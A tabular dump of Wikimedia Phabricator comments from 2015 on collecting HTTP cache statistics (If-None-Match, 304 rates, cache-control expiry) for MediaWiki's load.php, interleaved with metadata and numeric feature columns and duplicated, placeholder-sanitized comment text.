It's a vanishingly small percentage anyway. These are probably non-MW-originated load.php hits, since MW has used protocol-relative URLs for a long time. I wouldn't be surprised if gadgets or other 3rd party code was abusing load.php for something, using hard-coded HTTP URLs.

> The fact that only 35% of have INM headers is interesting. For the most part I don't think that figure is in under our control. It includes bots and headless spiders that may not have cache. Aside from bots, many users may've simply not visited that wiki before (load.php is fragmented by wiki; and the world population is growing), or they are using incognito/private browsing, or they're using a newly purchased device, or switched to a different browser, or they've recently purged their browser's overall cache for unrelated reasons, or their browser dropped the wiki domains' http cache per LRU (do any browsers do this?). It's hard to believe the aforementioned cases add up to 65% of our users. Worth investigating.
> 
It's worth noting that these stats are for overall requests, and there are multiple (and a variable number of) requests per page view. If we want to reason about what proportion of clients has a hot cache, numbered focused solely on startup module requests may be more suitable.

> We do control this INM percentage for a small part. Namely that our long-expiry resources have unique urls, so they wouldn't show up as missed INM/200's but as non-INM 200s for a new url. Improving T102578 means long-expiry urls generated by the startup module live longer and should globally increase INM usage. It's possible that our tail of the cache invalidation each week takes more than a week to recover and that we actually never see its potential peak. Worth investigating by having a dummy resource with a 1-year expiry and seeing its INM/200/304 rate over the course of a month.

That's a clever way to investigate this, as long as all the variables are controlled (guarantee that the resource's E-Tag / version hash is stable, guarantee it's never combined with other things).
",,,1436742828,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,0.375,0.25,0.125,0.375,1.375,6.75,1.75,0.25,0.125,0.75,1.75,1.0,0.0,0.0,0.25,1.875,0.5,7.0,10.875,0.375,0.75,0.0,0.75,0.125,1.625,0.25,0.0,0.125,0.25,1.5,0.25,5.25,2.25,1.125,0.375,0.875,0.125,0.125,0.5,1.75,0.375,0.75,0.375,1.125,0.0,0.625,0.0,0.0,0.875,18.0,0.75,1.125,0.125,0.5,0.0,0.0,0.125,0.125,0.75,0.0,0.25,1.25,0.0,1.0,0.0,0.0,0.0,5.625,2.75,11.25,3.125,2.625,8.0,0.0,0.0,0.0,0.0,4.125,0.125,2.25,0.0,4.625,10.875,3.75,0.375,0.25,0.0,4.625,0.0,0.75,2.5,0.125,1.875,0.625,0.0,0.125,3.7870284477427334,0.7319238301381159,"QUOTE
QUOTE
QUOTE

Is it correct to say that the 304 satisfaction rate is the weighted average of the long and short rates, weighted by their proportion of total request volume? Wouldn't you have to weight by their proportion of INM request volume instead? We don't have that data, but I would guess it's more lopsided than 65-35, probably closer to the 97-3 split we see for 304s (though probably not quite that extreme), which would mean the short-expiry satisfaction rate would be much closer to 88%. Of course, if we collect data on whether INM requests are short or long (using CODE as a proxy), we can compute separate satisfaction rates directly as well, without reasoning about weighted averages.


QUOTE

That's not what 200s are. 200 means that either the client had no cache, or that it had an out-of-date cache.

QUOTE
QUOTE
...and for that reason I'm not sure that's a valid assumption.
 
QUOTE
QUOTE
Yeah, it's good to see that 304 traffic for long-expiry resources is so low. I have a theory as to where this 3% comes from:

In Chrome, open an incognito window, open the inspector, make sure the ""Disable cache while DevTools is open"" setting is not set (i.e. cache is enabled), go to the Network pane, set the filter to Script, then load a Wikipedia page. You'll see 200 responses, and you'll see that the request headers do not contain an If-None-Match header, nor a Cache-Control header (the response headers do have CC, of course). This is a load with completely cold cache.

Then reload the page by pressing enter in the address bar. Depending on how long you waited, the startup module response will either be a 304 from the network or a 200 from cache, and the other requests will be 200 from cache. There will also be fewer requests overall, because of localStorage. If you saw 304s, their request headers had INM but no CC. So far so good.

Then reload the page by pressing F5 or clicking the reload arrow. You will see everything is a 304, with request headers containing both INM and CODE. Varnish appears to ignore this header (doesn't go back to the backend), since I got X-Cache headers with CODE in them.

Now hard-refresh the page by pressing Ctrl+F5 (or holding Ctrl while clicking the reload arrow). You will see 200s, with request headers containing no INM headers and containing CODE. Again, Varnish ignores this (I saw CODE in X-Cache again), but it can't serve a 304 because the client did not supply an INM header.

So perhaps enough of our clients use F5 often enough that it amounts to 3% of our traffic? I wonder how many of those long-expiry 304s had CODE in their request headers, and if other browsers expose similar traces of user refreshes in their request headers.

As a side note, I found {T105657} while performing this experiment.

QUOTE
QUOTE
It's a vanishingly small percentage anyway. These are probably non-MW-originated load.php hits, since MW has used protocol-relative URLs for a long time. I wouldn't be surprised if gadgets or other 3rd party code was abusing load.php for something, using hard-coded HTTP URLs.

QUOTE
QUOTE
It's worth noting that these stats are for overall requests, and there are multiple (and a variable number of) requests per page view. If we want to reason about what proportion of clients has a hot cache, numbered focused solely on startup module requests may be more suitable.

QUOTE

That's a clever way to investigate this, as long as all the variables are controlled (guarantee that the resource's E-Tag / version hash is stable, guarantee it's never combined with other things).
"
490677,Collect HTTP statistics about load.php requests,">>! In T104277#1448351, @ori wrote:
> I consider the current version stable and satisfactory. Before closing this as resolved, though, I'd like to have a short executive summary of what we learned so far. Assigning it to @Krinkle for that.

Thanks. I'll try to be short.

### Raw data

Ignoring data points we know to be inaccurate, the figures have been steady over the past 5 days.
From <https://grafana.wikimedia.org/#/dashboard/db/resourceloader>.

800K – 1.5 million load.php requests per minute. Daily low at 740K, peak at 1.53M.
* ~35% of load.php requests carry an If-None-Match header.

The number of recorded requests matches the number of recorded responses within a margin of 0.0001%.
* ~ 69% of load.php responses have HTTP status 200 OK.
* ~ 31% of load.php responses have HTTP status 304 Not Modified.
* ~ 0.018% of load.php responses were HTTP 301 redirects.

HTTP responses by cache-control:
* ~ 35% of load.php responses have a long cache expiry.
* ~ 65% of load.php responses have a short cache expiry.

HTTP 200 responses by cache-control:
* ~ 49% of load.php HTTP 200 responses have a long cache expiry.
* ~ 51% of load.php HTTP 200 responses have a short cache expiry.

HTTP 304 responses by cache-control:
* ~ 3% of load.php HTTP 304 responses have a long cache expiry.
* ~ 97% of load.php HTTP 304 responses have a short cache expiry.

HTTP 304 satisfaction rate: ~88% (304 responses as percentage of INM requests)

### Conclusions

The 88% satisfaction rate isn't high. Long-expiry should have 100% satisfaction. Though these are not mutually exclusive because we don't fragment request stats by short/long expiry yet (based on version param). If we assume long-expiry satisfaction to be 100%, and 88% the average, we can infer the satisfaction rate of short-expiry responses through `((65*100)+(35*X))/100=88` where X = ~66%. A 66% satisfaction rate for the 5-minute short expiry resources isn't too bad.

Remember that clients should only make requests for resources that may be expired. So in the first 5 minutes or 30 days after receiving an HTTP response to a long- or short expiry resource respectively, no requests will be made. Not even a HTTP 304 roundtrip. We are therefore probably blind to a significant amount of local cache traffic that is very relevant to this picture. Perhaps we can instrument `mw.loader.store` for more details on this. I believe we already have some instrumentation of it, but it may not be collected yet or insufficiently detailed.

After the 5-minute expiry, browsers will still try an INM/304 trip. In most cases (implied 66%) they do still get 304 because we don't actually change the startup module and unversioned stylesheets that often. See also T96797.

Responses to clients without a primed cache (HTTP 200) are about 50-50 divided between long- and short expiry. I therefore assume that an average page view gets half its resources from long-expiry and half from short-expiry.

Responses to clients with a primed cache are very differently divided. Only 3% of their 304 responses are for long-expiry resources. I assume this means, clients with a cache never even touch the network for long-expiry resources. They go straight to local cache. This is good and preferred. The 3% is worth investigating. It should be 0% (for the same reason satisfaction should be 100%). I suspect this 3% might mean some clients have an outdated startup module. Or are otherwise making requests using 30-day old metadata (perhaps hardcoded somewhere; possibly third-party). After 30 days the local cache expires and they try a 304 roundtrip that fails because the server has a new version available. The server is guaranteed to have changed the version hash of everything after 1-2 weeks due to T102578.

The 301 redirects do not originate from ResourceLoader. They would've been intercepted by MediaWiki, Apache, or Varnish. All these layers enforce HTTPS. In this case I believe it's text-varnish.

The fact that only 35% of have INM headers is interesting. For the most part I don't think that figure is in under our control. It includes bots and headless spiders that may not have cache. Aside from bots, many users may've simply not visited that wiki before (load.php is fragmented by wiki; and the world population is growing), or they are using incognito/private browsing, or they're using a newly purchased device, or switched to a different browser, or they've recently purged their browser's overall cache for unrelated reasons, or their browser dropped the wiki domains' http cache per LRU (do any browsers do this?). It's hard to believe the aforementioned cases add up to 65% of our users. Worth investigating.

We do control this INM percentage for a small part. Namely that our long-expiry resources have unique urls, so they wouldn't show up as missed INM/200's but as non-INM 200s for a new url. Improving T102578 means long-expiry urls generated by the startup module live longer and should globally increase INM usage. It's possible that our tail of the cache invalidation each week takes more than a week to recover and that we actually never see its potential peak. Worth investigating by having a dummy resource with a 1-year expiry and seeing its INM/200/304 rate over the course of a month.",,,1436731793,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,0.5454545454545454,0.09090909090909091,0.18181818181818182,0.6363636363636364,1.1818181818181819,7.0,0.9090909090909091,0.2727272727272727,0.09090909090909091,0.18181818181818182,1.0,1.0,0.0,0.2727272727272727,0.0,1.9090909090909092,0.2727272727272727,5.2727272727272725,9.636363636363637,0.18181818181818182,0.5454545454545454,0.45454545454545453,0.0,0.09090909090909091,0.7272727272727273,0.2727272727272727,0.0,0.0,0.5454545454545454,0.45454545454545453,0.09090909090909091,6.181818181818182,1.9090909090909092,0.9090909090909091,0.18181818181818182,0.0,0.0,0.0,0.0,0.8181818181818182,0.09090909090909091,1.0,0.09090909090909091,1.2727272727272727,0.18181818181818182,0.6363636363636364,0.0,0.36363636363636365,0.45454545454545453,20.0,0.45454545454545453,0.8181818181818182,0.0,0.45454545454545453,0.0,0.09090909090909091,0.09090909090909091,0.18181818181818182,0.36363636363636365,0.0,0.18181818181818182,1.2727272727272727,0.0,0.5454545454545454,0.0,0.36363636363636365,0.0,5.090909090909091,2.5454545454545454,8.818181818181818,1.2727272727272727,2.090909090909091,6.818181818181818,0.0,0.0,0.0,0.5454545454545454,2.909090909090909,0.0,6.181818181818182,0.0,3.8181818181818183,9.636363636363637,2.909090909090909,0.09090909090909091,0.09090909090909091,0.0,3.8181818181818183,0.0,0.45454545454545453,2.6363636363636362,0.0,1.0909090909090908,0.2727272727272727,0.18181818181818182,0.18181818181818182,3.931040669856459,0.6815988835725678,"QUOTE
QUOTE

Thanks. I'll try to be short.

### Raw data

Ignoring data points we know to be inaccurate, the figures have been steady over the past 5 days.
From <URL

800K – 1.5 million load.php requests per minute. Daily low at 740K, peak at 1.53M.
* ~35% of load.php requests carry an If-None-Match header.

The number of recorded requests matches the number of recorded responses within a margin of 0.0001%.
* ~ 69% of load.php responses have HTTP status 200 OK.
* ~ 31% of load.php responses have HTTP status 304 Not Modified.
* ~ 0.018% of load.php responses were HTTP 301 redirects.

HTTP responses by cache-control:
* ~ 35% of load.php responses have a long cache expiry.
* ~ 65% of load.php responses have a short cache expiry.

HTTP 200 responses by cache-control:
* ~ 49% of load.php HTTP 200 responses have a long cache expiry.
* ~ 51% of load.php HTTP 200 responses have a short cache expiry.

HTTP 304 responses by cache-control:
* ~ 3% of load.php HTTP 304 responses have a long cache expiry.
* ~ 97% of load.php HTTP 304 responses have a short cache expiry.

HTTP 304 satisfaction rate: ~88% (304 responses as percentage of INM requests)

### Conclusions

The 88% satisfaction rate isn't high. Long-expiry should have 100% satisfaction. Though these are not mutually exclusive because we don't fragment request stats by short/long expiry yet (based on version param). If we assume long-expiry satisfaction to be 100%, and 88% the average, we can infer the satisfaction rate of short-expiry responses through CODE where X = ~66%. A 66% satisfaction rate for the 5-minute short expiry resources isn't too bad.

Remember that clients should only make requests for resources that may be expired. So in the first 5 minutes or 30 days after receiving an HTTP response to a long- or short expiry resource respectively, no requests will be made. Not even a HTTP 304 roundtrip. We are therefore probably blind to a significant amount of local cache traffic that is very relevant to this picture. Perhaps we can instrument CODE for more details on this. I believe we already have some instrumentation of it, but it may not be collected yet or insufficiently detailed.

After the 5-minute expiry, browsers will still try an INM/304 trip. In most cases (implied 66%) they do still get 304 because we don't actually change the startup module and unversioned stylesheets that often. See also T96797.

Responses to clients without a primed cache (HTTP 200) are about 50-50 divided between long- and short expiry. I therefore assume that an average page view gets half its resources from long-expiry and half from short-expiry.

Responses to clients with a primed cache are very differently divided. Only 3% of their 304 responses are for long-expiry resources. I assume this means, clients with a cache never even touch the network for long-expiry resources. They go straight to local cache. This is good and preferred. The 3% is worth investigating. It should be 0% (for the same reason satisfaction should be 100%). I suspect this 3% might mean some clients have an outdated startup module. Or are otherwise making requests using 30-day old metadata (perhaps hardcoded somewhere; possibly third-party). After 30 days the local cache expires and they try a 304 roundtrip that fails because the server has a new version available. The server is guaranteed to have changed the version hash of everything after 1-2 weeks due to T102578.

The 301 redirects do not originate from ResourceLoader. They would've been intercepted by MediaWiki, Apache, or Varnish. All these layers enforce HTTPS. In this case I believe it's text-varnish.

The fact that only 35% of have INM headers is interesting. For the most part I don't think that figure is in under our control. It includes bots and headless spiders that may not have cache. Aside from bots, many users may've simply not visited that wiki before (load.php is fragmented by wiki; and the world population is growing), or they are using incognito/private browsing, or they're using a newly purchased device, or switched to a different browser, or they've recently purged their browser's overall cache for unrelated reasons, or their browser dropped the wiki domains' http cache per LRU (do any browsers do this?). It's hard to believe the aforementioned cases add up to 65% of our users. Worth investigating.

We do control this INM percentage for a small part. Namely that our long-expiry resources have unique urls, so they wouldn't show up as missed INM/200's but as non-INM 200s for a new url. Improving T102578 means long-expiry urls generated by the startup module live longer and should globally increase INM usage. It's possible that our tail of the cache invalidation each week takes more than a week to recover and that we actually never see its potential peak. Worth investigating by having a dummy resource with a 1-year expiry and seeing its INM/200/304 rate over the course of a month."
490649,Collect HTTP statistics about load.php requests,">>! In T104277#1445244, @Krinkle wrote:
> Did we unknowingly fix a bug, or is it a new bug?

The former (fixed a bug). To validate, I ran:

```lang=sh
$ varnishlog -c -C -mRxURL:^/w/load.php -mRxHeader:^if-none-match -iTxStatus -iRxURL -iRxHeader | grep TxStatus | python satisfied.py
```

where `satisfied.py` is:

```lang=python
import sys

satisfied = 0
for reqs, line in enumerate(sys.stdin):
    if 'c 304' in line:
        satisfied += 1
    if reqs % 1000 == 0:
        print('%.2f%%' % ((100.0 * satisfied) / reqs))
```

In the course of experimenting with this, I rolled out a buggy version that ran for four hours, between 2015-07-11 23:00 and 2015-07-12 03:00. Figures collected during this interval should be ignored.

I consider the current version stable and satisfactory. Before closing this as resolved, though, I'd like to have a short executive summary of what we learned so far. Assigning it to @Krinkle for that.",,,1436723617,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,1.0,0.0,5.5,0.0,0.0,1.0,0.0,1.5,1.0,0.0,0.0,0.0,4.0,0.5,3.0,9.0,0.0,1.5,1.0,0.0,0.0,2.5,1.0,0.0,1.0,0.0,1.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,6.0,1.5,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.0,1.0,8.5,0.0,1.5,7.0,0.0,0.0,0.0,0.0,3.5,0.0,6.5,0.0,4.5,9.0,0.0,0.0,0.0,0.0,4.5,0.0,1.5,2.0,0.0,2.5,0.0,0.0,0.0,3.9484848484848483,0.8079124579124579,"QUOTE
QUOTE

The former (fixed a bug). To validate, I ran:

``CODE`CODEsatisfied.pyCODE`CODE``

In the course of experimenting with this, I rolled out a buggy version that ran for four hours, between 2015-07-11 23:00 and 2015-07-12 03:00. Figures collected during this interval should be ignored.

I consider the current version stable and satisfactory. Before closing this as resolved, though, I'd like to have a short executive summary of what we learned so far. Assigning it toSCREEN_NAME for that."
490114,Collect HTTP statistics about load.php requests,"> Change 224016 merged by @ori:
> varnishrls: segment responses by cache-control max-age
> 
> [[https://gerrit.wikimedia.org/r/224016]]

Awesome! I've updated the dashboard <https://grafana.wikimedia.org/#/dashboard/db/resourceloader>:

{F191039}

The new cache_control values look realistic and already answer many of our questions. However I also see a 20% increase in the reported 304 satisfaction rate. The timeframe of that unexpected increase matches that of the cache_control metrics patch.

I don't see a similar traffic pattern in previous days so I assume this was caused by the patch. Did we unknowingly fix a bug, or is it a new bug?",,,1436542387,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,0.5,0.0,0.0,1.0,1.0,5.5,0.0,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,4.5,0.0,4.5,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,2.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,13.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,2.0,9.5,0.0,1.5,11.0,0.0,0.0,0.5,0.0,2.5,0.0,1.0,0.0,5.5,5.0,3.5,1.0,0.0,0.0,5.5,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.5,3.979607843137255,0.8119607843137255,"QUOTE
QUOTE
QUOTE
QUOTE

Awesome! I've updated the dashboard <URL

{F191039}

The new cache_control values look realistic and already answer many of our questions. However I also see a 20% increase in the reported 304 satisfaction rate. The timeframe of that unexpected increase matches that of the cache_control metrics patch.

I don't see a similar traffic pattern in previous days so I assume this was caused by the patch. Did we unknowingly fix a bug, or is it a new bug?"
490113,Collect HTTP statistics about load.php requests,"> Change 224016 merged by @ori:
> varnishrls: segment responses by cache-control max-age
> 
> [[https://gerrit.wikimedia.org/r/224016]]

Awesome! I've updated the dashboard <https://grafana.wikimedia.org/#/dashboard/db/resourceloader>:

{F191039}

The new cache_control values look realistic and already answer many of our questions. However I also see a 20% increase in the reported 304 satisfaction rate. The timeframe of that unexpected increase matches that of the cache_control metrics patch.

I don't see a similar traffic pattern in previous days so I assume this was caused by the patch. Did we unknowingly fixed a bug, or is it a new bug?",,,1436542373,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,0.5,0.0,0.0,1.0,1.0,5.5,0.0,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,4.5,0.0,4.5,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,2.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,13.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,2.0,9.5,0.0,1.5,11.0,0.0,0.0,0.5,0.0,1.5,0.0,1.0,0.0,5.5,5.0,3.5,1.0,0.0,0.0,5.5,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.5,3.999607843137255,0.8119607843137255,"QUOTE
QUOTE
QUOTE
QUOTE

Awesome! I've updated the dashboard <URL

{F191039}

The new cache_control values look realistic and already answer many of our questions. However I also see a 20% increase in the reported 304 satisfaction rate. The timeframe of that unexpected increase matches that of the cache_control metrics patch.

I don't see a similar traffic pattern in previous days so I assume this was caused by the patch. Did we unknowingly fixed a bug, or is it a new bug?"
490104,Collect HTTP statistics about load.php requests,"> Change 224016 merged by @ori:
> varnishrls: segment responses by cache-control max-age
> 
> [[https://gerrit.wikimedia.org/r/224016]]

Awesome! I've updated the dashboard <https://grafana.wikimedia.org/#/dashboard/db/resourceloader>:

{F191039}

The new cache_control values look realistic and already help understand which of the possibly realities is ours. However I also see a 20% increase in the reported 304 satisfaction rate. The timeframe of that unexpected increase was at the same time as the cache_control metrics got introduced. I don't see a similar traffic pattern in previous days so I assume this was caused by the patch.",,,1436541895,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,1.0,1.0,7.0,1.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,17.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,11.0,3.0,15.0,0.0,1.0,14.0,0.0,0.0,1.0,0.0,2.0,0.0,2.0,0.0,5.0,7.0,7.0,0.0,0.0,0.0,5.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,4.23404255319149,0.723404255319149,"QUOTE
QUOTE
QUOTE
QUOTE

Awesome! I've updated the dashboard <URL

{F191039}

The new cache_control values look realistic and already help understand which of the possibly realities is ours. However I also see a 20% increase in the reported 304 satisfaction rate. The timeframe of that unexpected increase was at the same time as the cache_control metrics got introduced. I don't see a similar traffic pattern in previous days so I assume this was caused by the patch."
489843,Collect HTTP statistics about load.php requests,"Change 224016 merged by Ori.livneh:
varnishrls: segment responses by cache-control max-age

[[https://gerrit.wikimedia.org/r/224016]]",,,1436506201,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.041666666666667,0.7916666666666666,"Change 224016 merged by Ori.livneh:
varnishrls: segment responses by cache-control max-age

[[GERRIT_URL]]"
489842,Collect HTTP statistics about load.php requests,"Change 224016 had a related patch set uploaded (by Ori.livneh):
varnishrls: segment responses by cache-control max-age

[[https://gerrit.wikimedia.org/r/224016]]
",,,1436506085,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.903225806451613,0.8387096774193549,"Change 224016 had a related patch set uploaded (by Ori.livneh):
varnishrls: segment responses by cache-control max-age

[[GERRIT_URL]]
"
489086,Collect HTTP statistics about load.php requests,"On the backend, we should see zero INM/304 traffic for versioned (long cache) requests, and very little 200 traffic and only right after a deployment. For unversioned (short cache) requests, the backend traffic should be low-ish consistent volume and overwhelmingly INM/304.

The cache hit rate (which we can compute by dividing backend numbers by frontend numbers) should be extremely high (>95%) for unversioned requests, and high (>85%) for versioned requests.

If these things (or other expectations in my original post) turn out not to be true, that's likely to indicate a problem that deserves more investigation.

But really, it's tough to say what the plan or expectations should be when we can't even see what's going on yet.",,,1436405647,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,1.0,0.0,1.5,9.0,1.5,0.0,0.0,0.5,0.5,0.5,0.0,0.5,0.0,2.5,0.0,6.5,9.0,0.0,2.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,2.5,2.0,0.5,0.5,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.5,0.0,11.5,0.5,0.5,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.5,3.5,2.5,4.0,1.5,4.0,5.0,0.0,0.0,0.0,0.0,6.5,0.0,2.0,0.0,3.0,9.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,1.0,0.5,0.0,0.0,4.025974025974026,0.7077922077922079,"On the backend, we should see zero INM/304 traffic for versioned (long cache) requests, and very little 200 traffic and only right after a deployment. For unversioned (short cache) requests, the backend traffic should be low-ish consistent volume and overwhelmingly INM/304.

The cache hit rate (which we can compute by dividing backend numbers by frontend numbers) should be extremely high (>95%) for unversioned requests, and high (>85%) for versioned requests.

If these things (or other expectations in my original post) turn out not to be true, that's likely to indicate a problem that deserves more investigation.

But really, it's tough to say what the plan or expectations should be when we can't even see what's going on yet."
489056,Collect HTTP statistics about load.php requests,"(And also: can you say what the goals are, in terms of cache hit rates, or some other metric? Identify what ought to be possible and set that as a goal.)",,,1436399704,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,16.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,5.0,5.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,3.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,3.236842105263158,0.9473684210526315,"(And also: can you say what the goals are, in terms of cache hit rates, or some other metric? Identify what ought to be possible and set that as a goal.)"
489054,Collect HTTP statistics about load.php requests,"Ok. Can you formulate a plan for how you'd act on this data? i.e., if the data showed X, we'd do Y; if it instead showed P, we'd do T, etc.",,,1436399617,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,7.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,12.0,10.0,10.0,2.0,0.0,0.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,2.5952380952380953,0.7142857142857143,"Ok. Can you formulate a plan for how you'd act on this data? i.e., if the data showed X, we'd do Y; if it instead showed P, we'd do T, etc."
489037,Collect HTTP statistics about load.php requests,"For @Catrope's #1 wishlist item I'd recommend we fragment the existing metrics by an additional layer. I don't think we need separately kept metrics. We can maintain the current higher-level overviews by using a wildcard to skip/sum this intermediate level.

`ResourceLoader.reqs.{all,if_none_match}` becomes `ResourceLoader.reqs.{version,noversion}.*`.
`ResourceLoader.resps.{httpStatus}` becomes `ResourceLoader.resps.{maxage,other}.*`

Where ""version""/""noversion"" is based on the load.php url containing `&version=`.

And ""maxage"" is the max-age value of a header matching `Cache-Control: public, max-age=X, s-maxage=X`. And ""other"" for private stuff like ""Cache-Control: private"" (used by debug mode) and in theory any fringe responses using additional options like ""no-store"", or if max-age values don't match.

